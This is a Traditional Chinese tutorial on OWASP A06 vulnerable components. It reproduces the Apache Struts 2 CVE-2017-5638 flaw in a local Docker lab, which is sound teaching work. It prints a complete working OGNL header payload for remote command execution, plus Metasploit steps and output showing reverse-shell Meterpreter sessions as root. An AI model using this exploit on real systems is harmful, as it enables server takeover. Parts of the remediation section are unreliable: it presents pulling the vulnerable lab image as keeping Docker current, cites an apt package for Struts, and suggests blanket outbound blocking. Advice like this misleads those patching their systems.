跳至主要内容

A06: 易受攻擊的元件(Vulnerable and Outdated Components)

漏洞概述

在現代應用程式開發中,開發者通常會使用 第三方函式庫、框架、伺服器軟體,但如果這些元件未及時更新,攻擊者可以利用已知漏洞進行攻擊。例如:

  • 過時的 Web 伺服器(如 Apache、Nginx、Tomcat)可能包含 RCE(遠程代碼執行)漏洞。
  • 未更新的後端框架(如 Struts、Spring Boot)可能允許攻擊者繞過身份驗證或執行惡意 SQL 查詢。
  • 前端 JavaScript 套件(如 jQuery、Lodash)如果未更新,可能會有 XSS(跨站腳本攻擊)漏洞。

漏洞影響

  1. 遠端代碼執行(RCE):攻擊者可直接在伺服器上執行任意命令,例如 Apache Struts 2(CVE-2017-5638)
  2. 身份驗證繞過:某些過時版本的身份驗證模組可能會允許攻擊者繞過登入驗證,例如 Spring Security 過時版本
  3. 資料洩漏:已知漏洞可能允許攻擊者讀取或修改資料,例如 舊版 OpenSSL 的 Heartbleed(CVE-2014-0160)
  4. XSS 或 CSRF 攻擊:過時的前端函式庫可能允許攻擊者在受害者的瀏覽器中執行惡意 JavaScript 代碼。

復現漏洞(Apache Struts 2 - CVE-2017-5638)

這是一個 非常知名的 RCE(遠程代碼執行)漏洞CVE-2017-5638,攻擊者可透過 HTTP 請求直接執行 Shell 命令。

❌ 環境準備

可以使用 Docker 快速啟動 受影響的 Apache Struts 2 伺服器

docker pull medicean/vulapps:s_struts2_s2-045
docker run -d -p 9001:8080 medicean/vulapps:s_struts2_s2-045

伺服器將在 http://localhost:9001 運行。


❌ 攻擊步驟

  1. 確認漏洞存在使用 curl 發送惡意請求:
curl -H "User-Agent: Mozilla/5.0" -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://localhost:9001/memoshow.action?id=3

如果回傳:

uid=0(root) gid=0(root) groups=0(root)

代表攻擊成功,已取得伺服器控制權!💀

  1. 使用 Metasploit 進行自動化攻擊

如果你有 Metasploit,可以使用現成的攻擊模組:

msfconsole
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS localhost
set RPORT 9001
set TARGETURI /
exploit

回得到這樣的結果:

[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 172.23.138.63:4444
[*] Sending stage (3045380 bytes) to 172.23.128.1
[*] Meterpreter session 1 opened (172.23.138.63:4444 -> 172.23.128.1:62329) at 2025-02-25 20:26:40 +0800
[*] Session 1 created in the background.
[*] Exploiting target ::1
[*] Started reverse TCP handler on 172.23.138.63:4444
[*] Sending stage (3045380 bytes) to 172.23.128.1
[*] Meterpreter session 2 opened (172.23.138.63:4444 -> 172.23.128.1:62333) at 2025-02-25 20:26:53 +0800
[*] Session 2 created in the background.

現在可以執行 sessions 指令來查看開啟的會話:

sessions -i

會得到可以執行sessions的列表:

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux root @ 172.17.0.2 172.23.138.63:4444 -> 172.23.128.1:62329 (127.0.0.1)
2 meterpreter x64/linux root @ 172.17.0.2 172.23.138.63:4444 -> 172.23.128.1:62333 (::1)

可以選擇id進入session:

sessions -i 1
shell

接著執行shell,這樣就可以 獲得伺服器的 Shell。 💀

🔍 漏洞檢測

  1. OpenVAS 會進行更完整的掃描,檢查所有過時的元件。

gvm-scans-result


修補方式

✅ 1. 立即升級受影響的元件

  • Apache Struts:將 Apache Struts 升級至 最新版本
sudo apt update && sudo apt upgrade apache-struts
  • 前端 JavaScript 套件
npm audit fix --force
  • Java 套件
mvn versions:display-dependency-updates
mvn versions:update-properties

✅ 2. 啟用自動更新

  • Linux 伺服器 上啟用自動安全更新:
sudo apt install unattended-upgrades
sudo dpkg-reconfigure unattended-upgrades
  • Docker 環境 中確保你拉取的映像檔是最新的:
docker pull medicean/vulapps:s2-045

✅ 3. 限制不必要的權限

即使攻擊成功,也應該 最小化影響範圍

  • 限制伺服器執行權限:
sudo usermod -s /usr/sbin/nologin apache
  • 禁止應用程式連接外部:
iptables -A OUTPUT -p tcp --dport 80 -j DROP
iptables -A OUTPUT -p tcp --dport 443 -j DROP